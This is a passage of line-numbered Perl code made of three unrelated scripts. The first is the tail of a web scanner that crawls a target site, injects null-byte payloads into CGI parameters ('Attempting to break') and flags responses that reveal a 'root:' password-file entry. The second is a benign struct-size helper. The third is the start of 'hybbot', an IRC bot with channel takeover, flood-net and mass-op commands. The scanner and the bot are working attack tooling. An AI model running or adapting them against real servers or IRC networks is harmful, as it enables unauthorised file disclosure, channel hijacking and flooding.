3892 $data1 .= "%" . unpack("H*", $tmp);
3893 }
3894 else {
3895 $data1 .= $tmp;
3896 }
3897}
3898while ($dat2 =~ s/(.)//) {
3899 $tmp = $1;
3900 if ($tmp =~ /\W/) {
3901 $data2 .= "%" . unpack("H*", $tmp);
3902 }
3903 else {
3904 $data2 .= $tmp;
3905 }
3906}
3907$data1 .= "%00";
3908$data2 .= "%00";
3909($host, $tmp) = $ARGV[0] =~ /^(?:http:\/\/)?([^\/]+)(\/?.*)$/;
3910$ip = &host2ip($host);
3911$ign = join('|', @ignore);
3912
3913print "Beginning to scan " . colored($host, "bold") . " :: " . colored($ip, "bold") . " for CGI bugs...\n";
3914print "Kick back and relax, this will take a while...\n\n";
3915if ($ARGV[1] eq '-v') {
3916 $verbose = 1;
3917 $statusbar = 0;
3918}
3919&status if $statusbar;
3920if ($tmp) {
3921 $tmp =~ s/\/$//;
3922 if ($tmp !~ /^\//) {
3923 $urls{"/$tmp"} = 1;
3924 }
3925 else {
3926 $urls{$tmp} = 1;
3927 }
3928}
3929else {
3930 $urls{"/"} = 1;
3931}
3932&recursive(%urls);
3933
3934sub recursive {
3935 %urls = @_;
3936 foreach $url (keys(%urls)) {
3937 if ($url =~ /\/$/) {
3938 $curdir = $url;
3939 }
3940 else {
3941 $url =~ /^(.*\/)[^\/]+$/;
3942 $curdir = $1;
3943 }
3944 $read{$url} = $urls{$url};
3945 delete $urls{$url};
3946 $sock = IO::Socket::INET->new(
3947 PeerAddr => $ip,
3948 PeerPort => 80,
3949 Timeout => 10,
3950 Proto => "tcp"
3951 ) or die "Can't connect to $ip:80\n";
3952 $url =~ s/&$//;
3953 $pagesa++;
3954 if ($verbose) {
3955 print "GETing $url\n";
3956 }
3957 &status if $statusbar;
3958 print $sock "GET $url HTTP/1.0\nHost: $host\n\n";
3959 $response = join('', <$sock>);
3960 $response =~ s/\n/ /g;
3961 $response = ">$response";
3962 @res = split(/>[^<]*</, $response);
3963 foreach $response (@res) {
3964 $tmp = "";
3965
3966 # check for form beginnings
3967 if ($response =~ /^form.*action\s*=\s*"?'?([^"'\s]+)/i) {
3968 $form[0] = $1 . "?";
3969 $form[0] =~ s/^http:\/\/([^\/]+)//i;
3970 if ($form[0] !~ /^\//) {
3971 $form[0] = $curdir . $form[0];
3972 }
3973 }
3974
3975 # check for a select
3976 elsif ($form[0] && $response =~ /select\s+name\s*=\s*"?'?([^"'\s]+)/i) {
3977 $form[0] .= "$1=";
3978 $form[2]++;
3979 }
3980
3981 # check for normal form inputs
3982 elsif (
3983 $form[0] &&
3984 $response =~
3985 /(?:type\s*=\s*"?'?([^"'\s]*)"?'?)?.*\s+name\s*=\s*"?'?([^"'\s]+)'?"?\s*(?:value\s*=\s*"?'?([^"'\s]*))?/i
3986 ) {
3987 ($type, $name, $value) = ($1, $2, $3);
3988 $form[0] .= $name . "=" . $value . "&";
3989 }
3990
3991 # check for option values for forms
3992 elsif ($form[0] && $form[2] && $response =~ /option\s+value\s*=\s*"?'?([^"'\s]+)/i) {
3993 $form[0] .= $1 . "&";
3994 $form[2] = 0;
3995 }
3996
3997 # check for end of forms
3998 elsif ($form[0] && $response =~ /\/form/i) {
3999 $form[1]++;
4000 }
4001
4002 # check for unwanted tags
4003 unless ($response =~ /^(?:$first).*(?:$second)\s*=\s*"?'?([^"'\s]+)/i) {
4004 unless ($form[1]) {
4005 next;
4006 }
4007 else {
4008 $tmp = $form[0];
4009 $tmp =~ s/&$//;
4010 @form = ();
4011 }
4012 }
4013
4014 unless ($tmp) {
4015 $tmp = $1;
4016 }
4017 if ($tmp =~ s/^http:\/\/([^\/]+)//i) {
4018 $addr = $1;
4019 }
4020 else {
4021 $addr = "";
4022 }
4023 if ($tmp !~ /^\//) {
4024 $tmp = $curdir . $tmp;
4025 }
4026 if (
4027 (
4028 $addr && !$tmp
4029 ) ||
4030 $urls{$tmp} ||
4031 $read{$tmp} ||
4032 $tmp =~ /mailto:|#|https:|ftp:|news:/i ||
4033 (
4034 $tmp !~ /\?/ &&
4035 $tmp =~ /(?:$ign)/i
4036 )
4037 ) {
4038 next;
4039 }
4040 if ($tmp =~ /\?/) {
4041# $read{$tmp} = 1;
4042 $urls{$tmp} = 1;
4043 &check($tmp);
4044 }
4045 else {
4046 $urls{$tmp} = 1;
4047 }
4048 }
4049 }
4050 if (%urls) {
4051 &recursive(%urls);
4052 }
4053}
4054
4055sub host2ip {
4056 return join(".", unpack("C4", (gethostbyname($_[0]))[4]));
4057}
4058
4059sub check {
4060 ($cgi) = @_;
4061 $cgi =~ s/&$//;
4062 $cgisa++;
4063 if ($verbose) {
4064 print "Attempting to break $cgi\n";
4065 }
4066 &status if $statusbar;
4067 $cgi =~ s/([\+\%\$\@\*\\\|\^\(\[\{\)\]\}])/\\$1/g;
4068 $origcgi = $cgi;
4069 $cgi =~ s/^(.*\?)//;
4070 $cgib = $1;
4071 if ($cgi !~ /=/) {
4072 for (1 .. $dats) {
4073 $origcgi =~ s/\?.*$/?/;
4074 $origcgi .= ${data . $_};
4075 $sock = IO::Socket::INET->new(
4076 PeerAddr => $ip,
4077 PeerPort => 80,
4078 Timeout => 10,
4079 Proto => "tcp"
4080 );
4081 print $sock "GET $origcgi HTTP/1.0\nHost: $host\n\n";
4082 $response = join('', <$sock>);
4083 $response =~ s/\n//g;
4084 if ($response =~ /root(?:\:|"|')/ && !$bug{$origcgi}) {
4085 $bug{$origcgi} = 1;
4086 if ($statusbar) {
4087 print "\r";
4088 }
4089 $bugsa++;
4090 print "BUG FOUND - http://$host$origcgi\n";
4091 }
4092 }
4093 }
4094 else {
4095 for (1 .. $dats) {
4096 %info = split(/=|&/, $cgi);
4097 foreach $key (keys(%info)) {
4098 $origcgi = $cgib . $cgi;
4099 $tmp = ${data . $_};
4100 $origcgi =~ s/((?:\?|&)$key=)$info{$key}/$1$tmp/;
4101 $sock = IO::Socket::INET->new(
4102 PeerAddr => $ip,
4103 PeerPort => 80,
4104 Timeout => 10,
4105 Proto => "tcp"
4106 );
4107 print $sock "GET $origcgi HTTP/1.0\nHost: $host\n\n";
4108 $response = join('', <$sock>);
4109 $response =~ s/\n//g;
4110 if ($response =~ /root(?:\:|"|')/ && !$bug{$origcgi}) {
4111 $bug{$origcgi} = 1;
4112 if ($statusbar) {
4113 print "\r";
4114 }
4115 $bugsa++;
4116 print "BUG FOUND - http://$host$origcgi\n";
4117 }
4118 }
4119 }
4120 }
4121}
4122
4123sub status {
4124 print STDERR "\r" . " " x (6 - length($pagesa));
4125 print STDERR colored($pagesa, "bold");
4126 print STDERR " - pages accessed / " . " " x (5 - length($cgisa));
4127 print STDERR colored($cgisa, "bold");
4128 print STDERR " - attempted CGIs to break / " . " " x (5 - length($bugsa));
4129 print STDERR colored($bugsa, "bold");
4130 print STDERR " - CGI bugs found";
4131}
4132
4133END {
4134 print "\n";
4135}
4136
4137
4138#!/usr/bin/perl
4139
4140use Config;
4141
4142die "usage: $0 <header file>\n" unless @ARGV == 1;
4143
4144%chars = (
4145 'char' => (1 * 1),
4146 'double' => ($Config{doublesize} * 1),
4147 'int' => ($Config{intsize} * 1),
4148 'long' => ($Config{longsize} * 1),
4149 'short' => ($Config{shortsize} * 1),
4150 'long double' => ($Config{longdblsize} * 1),
4151 'long long' => ($Config{longlongsize} * 1),
4152 'ptr' => ($Config{ptrsize} * 1),
4153 '__uint8_t' => (1 * 1),
4154 '__uint16_t' => (2 * 1),
4155 '__uint32_t' => (4 * 1),
4156 '__uint64_t' => (8 * 1),
4157 'int8_t' => (1 * 1),
4158 'int16_t' => (2 * 1),
4159 'int32_t' => (4 * 1),
4160 'int64_t' => (8 * 1),
4161 'pid_t' => (4 * 1),
4162 'caddr_t' => (4 * 1),
4163 'sa_family_t' => (1 * 1),
4164 'void' => (1 * 1),
4165);
4166
4167%chars = (
4168 %chars,
4169 'unsigned int' => $chars{int},
4170 'unsigned char' => $chars{char},
4171 'unsigned long' => $chars{long},
4172 'unsigned short' => $chars{short},
4173);
4174
4175open(TMP, "</usr/include/sys/types.h");
4176while (<TMP>) {
4177 if (/typedef\s+(.+)\s+(\S+);/) {
4178 ($ele, $key) = ($1, $2);
4179 if ($ele =~ /struct/) {
4180 $ele =~ s/\s+/ /g;
4181 $chars{$key} = \$sizeof{$ele} unless $chars{$key};
4182 }
4183 else {
4184 $chars{$key} = $chars{$ele} unless $chars{$key};
4185 }
4186 }
4187}
4188close(TMP);
4189
4190open(FH, "<$ARGV[0]") or die "Can't open file $file: $!\n";
4191@tmp = <FH>;
4192$file = join('', @tmp);
4193foreach (@tmp) {
4194 if (/typedef\s+(.+)\s+(\S+);/) {
4195 ($ele, $key) = ($1, $2);
4196 if ($ele =~ /struct/) {
4197 $ele =~ s/\s+/ /g;
4198 $chars{$key} = \$sizeof{$ele} unless $chars{$key};
4199 }
4200 else {
4201 $chars{$key} = $chars{$ele} unless $chars{$key};
4202 }
4203 }
4204 elsif (/include\s+(\S+)/) {
4205 if ($1 =~ /^<(.*?)>/) {
4206 open(TMP, "</usr/include/$1");
4207 while (<TMP>) {
4208 push(@tmp, $_);
4209 }
4210 close(TMP);
4211 }
4212 elsif ($1 =~ /^(?:"|')(.*?)(?:"|')/) {
4213 open(TMP, "</usr/include/$1");
4214 while (<TMP>) {
4215 push(@tmp, $_);
4216 }
4217 close(TMP);
4218 }
4219 }
4220}
4221
4222while ($file =~ s/(struct\s+(\S+)\s*{[^}]+})//) {
4223 my %tmph;
4224 ($tmp, $struct) = ($1, $2);
4225 $tmp =~ s/\/\*.*?\*\///g;
4226 while ($tmp =~ s/\n\s*(.+\S+)\s+(\S+);//) {
4227 my $tmpr;
4228 ($str, $val) = ($2, $1);
4229 if ($val =~ /struct/) {
4230 $val =~ s/\s+/ /g;
4231 $val =~ s/^(.*?)$/\$sizeof\{'$1'\}/;
4232 }
4233 $str =~ s/\[(\d+)\]//;
4234 $tmpr = $1;
4235 $str =~ s/\s+.*?$//g;
4236 $str =~ s/\W+//g;
4237 unless ($tmpr =~ /^\d+$/) {
4238 $tmpr = 1;
4239 }
4240 $structs{$struct}{$str} = $val . "[$tmpr]";
4241 }
4242}
4243
4244foreach $struct (keys(%structs)) {
4245 my $size;
4246 foreach $val (keys(%{$structs{$struct}})) {
4247 $tmp = $structs{$struct}{$val};
4248 ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]/;
4249 $size = ($size + ($chars{$vl} * $ts));
4250 }
4251 $sizeof{"struct $struct"} = $size;
4252}
4253
4254foreach $struct (keys(%structs)) {
4255 my $size;
4256 foreach $val (keys(%{$structs{$struct}})) {
4257 if ($structs{$struct}{$val} =~ /struct/) {
4258 $tmp = $structs{$struct}{$val};
4259 $tmp =~ s/\$sizeof{'(.*?)'}/$1/g;
4260 ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
4261 $size = ($size + ($sizeof{$vl} * $ts));
4262 }
4263 else {
4264 $tmp = $structs{$struct}{$val};
4265 ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
4266 $size = ($size + ($chars{$vl} * $ts));
4267 }
4268 }
4269}
4270
4271foreach $struct (reverse(keys(%structs))) {
4272 my $size;
4273 foreach $val (keys(%{$structs{$struct}})) {
4274 if ($structs{$struct}{$val} =~ /struct/) {
4275 $tmp = $structs{$struct}{$val};
4276 $tmp =~ s/\$sizeof{'(.*?)'}/$1/g;
4277 ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
4278 $size = ($size + ($sizeof{$vl} * $ts));
4279 }
4280 else {
4281 $tmp = $structs{$struct}{$val};
4282 ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
4283 $size = ($size + ($chars{$vl} * $ts));
4284 }
4285 }
4286 print "\$sizeof{'struct $struct'} = $size;\n";
4287}
4288
4289
4290#!/usr/bin/perl
4291
4292#############################################################
4293# hybbot 0.8
4294# by samy (who else?) CommPort5@LucidX.com
4295#
4296# hybbot is freely available and covered by the same terms
4297# and conditions of Perl itself through the Artistic License
4298#############################################################
4299
4300
4301# Commands and stuff:
4302#
4303# all users/channel ops/channel owners:
4304# status
4305# pass <newpass>
4306# chpass <oldpass> <newpass> (not yet)
4307# mode <pass> <#chan> <modes>
4308# register <#chan> <pass>
4309# op <#chan> <pass> [nick]
4310# addop <#chan> <pass> <nick>
4311# delop <#chan> <pass> <nick> (not yet)
4312# invite <#chan> <pass> [nick]
4313# addchan <#chan> <pass> [modes] (not yet)
4314# delchan <#chan> (not yet)
4315# chmodes <#chan> <pass> <modes> (not yet)
4316# addaop <#chan> <pass> <nick!ident@host>
4317#
4318# wanna-bes:
4319# <pass> opz0r <#chan> <nick>
4320#
4321# opers:
4322# <pass> rehash
4323# <pass> opz0r <#chan> <nicks>
4324# <pass> deopz0r <#chan> <nicks>
4325# <pass> joinz0r <#chans>
4326# <pass> partz0r <#chans>
4327#
4328# hax0rs:
4329# <pass> addjoin <#chan> [modes]
4330# <pass> botjoin <botnick> <#chan>
4331# <pass> botpart <botnick> <#chan>
4332# <pass> botop <botnick> <#chan> <nick>
4333# <pass> botdeop <botnick> <#chan> <nick>
4334# <pass> addbot <botnick> <flags> <hostname> <ircname>
4335# <pass> killbot <botnick> [message]
4336# <pass> listbots
4337# <pass> massopz0r <#chans> <nick>
4338# <pass> massdopz0r <#chans> <nick>
4339# <pass> adduser <nick> <id> <pass>
4340# <pass> raw <raw irc commands>
4341# <pass> m0pz0r <#chan>
4342#
4343# l33t hax0rs:
4344# <pass> exit <quit message>
4345# <pass> floodnet <# of bots> <name of net> [nick]
4346# <pass> fnet <name of net> <raw commands>
4347# <pass> killnet <name of net> [quit message]
4348# <pass> restart [exit message]
4349# <pass> takeover <#chan> <nicks>
4350# <pass> addoper <nick> <id>
4351# <pass> retrieve <raw irc command>
4352# <pass> get <variable name>
4353#
4354# Info on users and channels:
4355# $nix{$a}{$b}
4356# $a = nick of anyone on network
4357# $b = chans that nick is in
4358# $all{$a}{$b}
4359# $a = chans with people in them
4360# $b = nicks of people in chan
4361# $sall{$a}{$b}
4362# $a = chans with people in them
4363# $b = nicks of people in chan but the nick
4364# may include a '@' or '+' in front of it
4365
4366
4367$conf = "hybbot.conf";
4368$joinz0r = 1;
4369
4370$SIG{'HUP'} = \&rehash;
4371$version = "0.8";
4372use Socket;
4373unless (@ARGV == 5) {
4374 die "usage: $0 <nick[,nick2,nick3,etc]> <hub server [to connect to]> <hybbot server> <server password> <hostname[,hostname2,hostname3,etc]>\n";
4375}
4376defined ($fork = fork()) || print STDERR "Unable to fork...\n";
4377($fork) && die "hybbot actived on PID $fork\n";
4378&rehash;
4379$remote = $ARGV[1];
4380$port = 6667;
4381@nickss = split(/,/, $ARGV[0]);
4382@hosts = split(/,/, $ARGV[4]);
4383$host = shift(@hosts);
4384$botnick = shift(@nickss);
4385$iaddr = inet_aton($remote);
4386$paddr = sockaddr_in($port, $iaddr);
4387$proto = getprotobyname('tcp');
4388socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Cannot create socket\n";
4389connect(SOCK, $paddr) || die "Unable to connect\n";
4390select(SOCK);
4391$| = 1;
4392select('stdout');
4393$srvc = $ARGV[2];
4394print SOCK "PASS $ARGV[3] :TS\n";
4395print SOCK "SERVER $ARGV[2] 1 :Services - hybbot [irc.LucidX.com]\n";
4396$tmp = "NICK $botnick 1 1 +noKNbcdfikrswxyzO $botnick $host $ARGV[2] :hybbot by CommPort5[\@LucidX.com] - samy (Service bot)";
4397print SOCK "$tmp\n";
4398$bots{$botnick} = $tmp;
4399for ($i = 0; $i < @nickss; $i++) {
4400 $tmp = "NICK $nickss[$i] 1 1 +iw $nickss[$i] $hosts[$i] $ARGV[2] :hybbot by CommPort5[\@LucidX.com] - samy (Service bot)";
4401 print SOCK "$tmp\n";
4402 $bots{$nickss[$i]} = $tmp;
4403}
4404if ($joinz0r) {
4405 foreach $tmpc (keys(%join)) {
4406 foreach (keys(%{$join{$tmpc}})) {
4407 print SOCK "SJOIN ts $tmpc + :\@$botnick\n";
4408 print SOCK ":$botnick MODE $tmpc $_\n";
4409 $chans{$tmpc} = 1;
4410 }
4411 }
4412}
4413while (<SOCK>) {
4414 $blargh = $_;
4415 $blargh =~ s/-insecure//;
4416 ($fulladd, $what, $where, $etc) = $_ =~ /^(\S+)\s+(\S+)\s+(\S+)\s+(.*)$/;
4417 $fulladd =~ s/-insecure//;
4418 ($nic) = $fulladd =~ /^:(.*)$/;
4419 $nick = lc($nic);
4420 $where = lc($where);
4421
4422# part of the retrieve command
4423 if ($retr) {
4424 print SOCK ":$botnick PRIVMSG $retr :$_\n";
4425 $retr = 0;
4426 }
4427
4428# return server pings
4429 if (/^PING (.*)$/) {
4430 print SOCK "PONG $1\n";
4431 next;
4432 }
4433
4434# autokick people who kick me!
4435 elsif (/^:(\S+) KICK (\S+) (\S+)/ && ($bots{$3} || $protect{$3})) {
4436 if ($bots{$3}) {
4437 print SOCK "SJOIN ts $2 + :\@$3\n";
4438 print SOCK "KICK $2 $1 :right back at you.\n";
4439 delete($nix{$1}{$2});
4440 delete($all{$2}{$1});
4441 delete($sall{$2}{$1});
4442 delete($sall{$2}{'@' . $1});
4443 next;
4444 }
4445 else {
4446 print SOCK "KICK $2 $1 :you mess with him, you mess with me.\n";
4447 delete($nix{$1}{$2});
4448 delete($all{$2}{$1});
4449 delete($sall{$2}{$1});
4450 delete($sall{$2}{'@' . $1});
4451 next;
4452 }
4453 next;
4454 }
4455
4456# autodeop people who deop me!
4457 if (/^:(\S+) MODE (\S+) -+o+ (.*)$/) {
4458 @tmpb = split(/\s+/, $3);
4459 foreach (@tmpb) {
4460 if (($bots{$_} || $protect{$_}) && !($bots{$1} || $protect{$1})) {
4461 print SOCK ":$_ PART $2\nSJOIN ts $2 + :\@$_\n";
4462 print SOCK ":$_ MODE $2 -o $1\n";
4463 delete $sall{$2}{'@' . $_};
4464 $sall{$a}{$_} = 1;
4465 last;
4466 }
4467 }
4468 }
4469
4470# autokill people who kill me!
4471 elsif (/^:(\S+) KILL (\S+)/ && ($botnick eq $2 || $protect{$2})) {
4472 if ($bots{$2}) {
4473 print SOCK "KILL $1 :Please do not kill services. (-hybbot)\n$bots{$2}\n";
4474 foreach (keys(%chans)) {
4475 print SOCK "SJOIN ts $_ + :\@$2\n";
4476 }
4477 foreach (keys(%{$nix{$1}})) {
4478 delete($all{$_}{$1});
4479 delete($sall{$_}{'@' . $1});
4480 delete($sall{$_}{$1});
4481 }
4482 delete($nix{$a});
4483 next;
4484 }
4485 else {
4486 print SOCK "KILL $1 :You mess with my family, you mess with me. -$botnick [hybbot]\n";
4487 for (keys(%{$nix{$1}})) {
4488 delete($all{$_}{$1});
4489 delete($sall{$_}{'@' . $1});
4490 delete($sall{$_}{$1});
4491 }
4492 delete($nix{$a});
4493 next;
4494 }
4495 }
4496
4497# add/remove/modify the arrays with the names of everyone in chans
4498 if (/^:(\S+)!\S+\s+PART\s+(\S+)/) {
4499 ($a, $b) = (lc($1), lc($2));
4500 delete $nix{$a}{$b};
4501 delete $all{$b}{$a};
4502 delete $sall{$b}{$a};
4503 delete $sall{$b}{'@' . $a};
4504 next;
4505 }
4506 if (/^:\S+\s+KICK\s+(\S+)\s+(\S+)/) {
4507 ($b, $a) = (lc($1), lc($2));
4508 delete $nix{$a}{$b};
4509 delete $all{$b}{$a};
4510 delete $sall{$b}{$a};
4511 delete $sall{$b}{'@' . $a};
4512 next;
4513 }
4514 if (/^:(\S+)!\S+\s+JOIN\s+:(.*)$/) {
4515 ($a, $b) = (lc($1), lc($2));
4516 $nix{$a}{$b} = 1;
4517 $all{$b}{$a} = 1;
4518 $sall{$b}{$a} = 1;
4519 next;
4520 }
4521 if (/^:(\S+)!\S+\s+NICK\s+:(\S+)/) {
4522 ($a, $b) = (lc($1), lc($2));
4523 foreach (@{$nix{$a}}) {
4524 delete $all{$_}{$a};
4525 if (delete($sall{$_}{$a})) {
4526 $sall{$_}{$b} = 1;
4527 }
4528 if (delete($sall{$_}{'@' . $a})) {
4529 $sall{$_}{'@' . $b} = 1;
4530 }
4531 $all{$_}{$b} = 1;
4532 }
4533 $nix{$a} = $nix{$b};
4534 delete $nix{$a};
4535 }
4536 if (/^:\S+\s+MODE\s+(\S+)\s+(-|\+)o+\s+(.*)$/) {
4537 ($a, $b, $c) = (lc($1), $2, lc($3));
4538 @tmp = split(/\s+/, $c);
4539 foreach (@tmp) {
4540 if ($b eq '-') {
4541 delete $sall{$a}{'@' . $_};
4542 $sall{$a}{$_} = 1;
4543 }
4544 if ($b eq '+') {
4545 delete $sall{$a}{$_};
4546 $sall{$a}{'@' . $_} = 1;
4547 }
4548 }
4549 next;
4550 }
4551 if (/^:(\S+)!\S+\s+QUIT/) {
4552 ($a) = (lc($1));
4553 foreach (@{$nix{$a}}) {
4554 delete $all{$_}{$a};
4555 delete $sall{$_}{$a};
4556 delete $sall{$_}{'@' . $a};
4557 }
4558 delete $nix{$a};
4559 next;
4560 }
4561 if (/^:\S+\s+SJOIN\s+\S+\s+(\S+)\s+([^:]+)\s+:(.*)$/) {
4562 $tmpr = lc($1);
4563 $chns{$tmpr} = $2;
4564 @tmp = split(/\s+/, lc($3));
4565 foreach (@tmp) {
4566 s/\+//;
4567 $sall{$tmpr}{$_} = 1;
4568 s/\@//;
4569 $all{$tmpr}{$_} = 1;
4570 $nix{$_}{$tmpr} = 1;
4571 }
4572 next;
4573 }
4574
4575# help finish the registration of a channel
4576 elsif ($what == 319 && $regchan) {
4577 ($chan) = $etc =~ /:(.*)$/;
4578 @chans = split(/\s+/, $chan);
4579 foreach (@chans) {
4580 if ($_ eq "\@" . lc($hash{'chan'}) && !&checkconf(lc($hash{'chan'}))) {
4581 $pass = &mkpasswd($hash{'pass'});
4582 &addconf("CHAN:".lc($hash{'chan'}).":$hash{'nick'}:$pass\n");
4583 print SOCK ":$botnick PRIVMSG $hash{'nick'} :\cb$hash{'chan'} registered by $hash{'nick'} (password: $hash{'pass'})\n";
4584 print SOCK ":$botnick PRIVMSG $hash{'nick'} :Use the OP command to gain ops from me.\n";
4585 print SOCK ":$botnick PART $hash{'chan'}\n";
4586 $rg++;
4587 }
4588 }
4589 if (!$rg) {
4590 print SOCK ":$botnick PRIVMSG $hash{'nick'} :Unable to register $hash{'chan'} (not opped?)\n";
4591 print SOCK ":$botnick PART $hash{'chan'}\n";
4592 }
4593 undef $rg;
4594 undef %hash;
4595 undef $regchan;
4596 $chnln{$hash{'chan'}} = $hash{'nick'};
4597 $chnlp{$hash{'chan'}} = $pass;
4598 next;
4599 }
4600
4601
4602###########################################
4603# Private messages and all
4604###########################################
4605
4606 elsif ($where !~ /^#/ and $what eq 'PRIVMSG') {
4607
4608# getting info about commands
4609 if ($etc =~ /^:botpart\s*$/i) {
4610 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botpart <botnick> <#chan>\cb\n";
4611 next;
4612 }
4613 elsif ($etc =~ /^:botop\s*$/i) {
4614 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botop <botnick> <#chan> <nick>\cb\n";
4615 next;
4616 }
4617 elsif ($etc =~ /^:botdeop\s*$/i) {
4618 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botdeop <botnick> <#chan> <nick>\cb\n";
4619 next;
4620 }
4621 elsif ($etc =~ /^:takeover\s*$/i) {
4622 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> takeover <#chan> <nicks>\n";
4623 next;
4624 }
4625 elsif ($etc =~ /^:floodnet\s*$/i) {
4626 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> floodnet <# of bots> <name of net> [nick]\n";
4627 next;
4628 }
4629 elsif ($etc =~ /^:fnet\s*$/i) {
4630 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> fnet <name of net> <raw commands>\n";
4631 next;
4632 }
4633 elsif ($etc =~ /^:killnet\s*$/i) {
4634 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> killnet <name of net> [quit message]\n";
4635 next;
4636 }
4637 elsif ($etc =~ /^:adduser\s*$/i) {
4638 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> adduser <nick> <id> <passwd>\n";
4639 next;
4640 }
4641 elsif ($etc =~ /^:addbot\s*$/i) {
4642 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> addbot <botnick> <flags> <hostname> <ircname>\cb\n";
4643 next;
4644 }
4645 elsif ($etc =~ /^:killbot\s*$/i) {
4646 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> killbot <botnick> [message]\cb\n";
4647 next;
4648 }
4649 elsif ($etc =~ /^:botjoin\s*$/i) {
4650 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> botjoin <botnick> <#chan>\cb\n";
4651 next;
4652 }
4653 elsif ($etc =~ /^:addjoin\s*$/i) {
4654 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> addjoin <#chan> [nick]\cb\n";
4655 next;
4656 }
4657 elsif ($etc =~ /^:op\s*$/i) {
4658 print SOCK ":$botnick PRIVMSG $nick :\cbusage: op <#channel> <password> [nick (originally reged chan with)]\cb\n";
4659 next;
4660 }
4661 elsif ($etc =~ /^:invite\s*$/i) {
4662 print SOCK ":$botnick PRIVMSG $nick :\cbusage: invite <#channel> <password> [nick]\cb\n";
4663 next;
4664 }
4665 elsif ($etc =~ /^:addchan\s*$/i) {
4666 print SOCK ":$botnick PRIVMSG $nick :\cbusage: addchan <#channel> <password> [modes]\cb\n";
4667 next;
4668 }
4669 elsif ($etc =~ /^:chmodes\s*$/i) {
4670 print SOCK ":$botnick PRIVMSG $nick :\cbusage: chmodes <#channel> <newmodes>\cb\n";
4671 next;
4672 }
4673 elsif ($etc =~ /^:delchan\s*$/i) {
4674 print SOCK ":$botnick PRIVMSG $nick :\cbusage: delchan <#channel> <password>\cb\n";
4675 next;
4676 }
4677 elsif ($etc =~ /^:permmode\s*$/i) {
4678 print SOCK ":$botnick PRIVMSG $nick :\cbusage: permmode <#channel> <password> <modes>\cb\n";
4679 next;
4680 }
4681 elsif ($etc =~ /^:addop\s*$/i) {
4682 print SOCK ":$botnick PRIVMSG $nick :\cbusage: addop <#channel> <password> <nick>\cb (the nick must have already set a password with the pass command)\n";
4683 next;
4684 }
4685 elsif ($etc =~ /^:addaop\s*$/i) {
4686 print SOCK ":$botnick PRIVMSG $nick :\cbusage: addaop <#channel> <password> <nick!ident\@hostname>\cb\n";
4687 next;
4688 }
4689 elsif ($etc =~ /^:delop\s*$/i) {
4690 print SOCK ":$botnick PRIVMSG $nick :\cbusage: delop <#channel> <password> <nick>\cb\n";
4691 next;
4692 }
4693 elsif ($etc =~ /^:opz0r\s*$/i) {
4694 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> opz0r <#chan> <nick>\cb\n";
4695 next;
4696 }
4697 elsif ($etc =~ /^:restart\s*$/i) {
4698 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> restart [exit message]\cb\n";
4699 next;
4700 }
4701 elsif ($etc =~ /^:exit\s*$/i) {
4702 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> exit [exit message]\cb\n";
4703 next;
4704 }
4705 elsif ($etc =~ /^:deopz0r\s*$/i) {
4706 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> deopz0r <#chan> <nick>\cb\n";
4707 next;
4708 }
4709 elsif ($etc =~ /^:joinz0r\s*$/i) {
4710 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> joinz0r <#chans>\cb\n";
4711 next;
4712 }
4713 elsif ($etc =~ /^:mode\s*$/i) {
4714 print SOCK ":$botnick PRIVMSG $nick :\cbusage: mode <password> <#channel> <modes>\cb\n";
4715 next;
4716 }
4717 elsif ($etc =~ /^:register\s*$/i) {
4718 print SOCK ":$botnick PRIVMSG $nick :\cbusage: register <#channel> <password>\cb\n";
4719 next;
4720 }
4721 elsif ($etc =~ /^:raw\s*$/i) {
4722 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> raw <raw irc stuff;more irc stuff>\cb\n";
4723 next;
4724 }
4725 elsif ($etc =~ /^:m0pz0r\s*$/i) {
4726 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> m0pz0r <#chans>\cb\n";
4727 next;
4728 }
4729 elsif ($etc =~ /^:massopz0r\s*$/i) {
4730 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> massopz0r <#chans> <nick>\cb\n";
4731 next;
4732 }
4733 elsif ($etc =~ /^:massdopz0r\s*$/i) {
4734 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> massdopz0r <#chans> <nick>\cb\n";
4735 next;
4736 }
4737 elsif ($etc =~ /^:partz0r\s*$/i) {
4738 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> partz0r <#chans>\cb\n";
4739 next;
4740 }
4741 elsif ($etc =~ /^:help\s*$/i) {
4742 print SOCK ":$botnick PRIVMSG $nick :Please type \cb/msg $botnick USERHELP\cb. If you're an OPER, type \cb/msg $botnick OPERHELP\cb.\n";
4743 next;
4744 }
4745 elsif ($etc =~ /^:retrieve\s*$/i) {
4746 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> retrieve <raw irc command>\n";
4747 next;
4748 }
4749 elsif ($etc =~ /^:get\s*$/i) {
4750 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> get <variable name>\n";
4751 next;
4752 }
4753 elsif ($etc =~ /^:addoper\s*$/i) {
4754 print SOCK ":$botnick PRIVMSG $nick :\cbusage: <your pass> addoper <nick> <id>\n";
4755 next;
4756 }
4757
4758# get the user commands
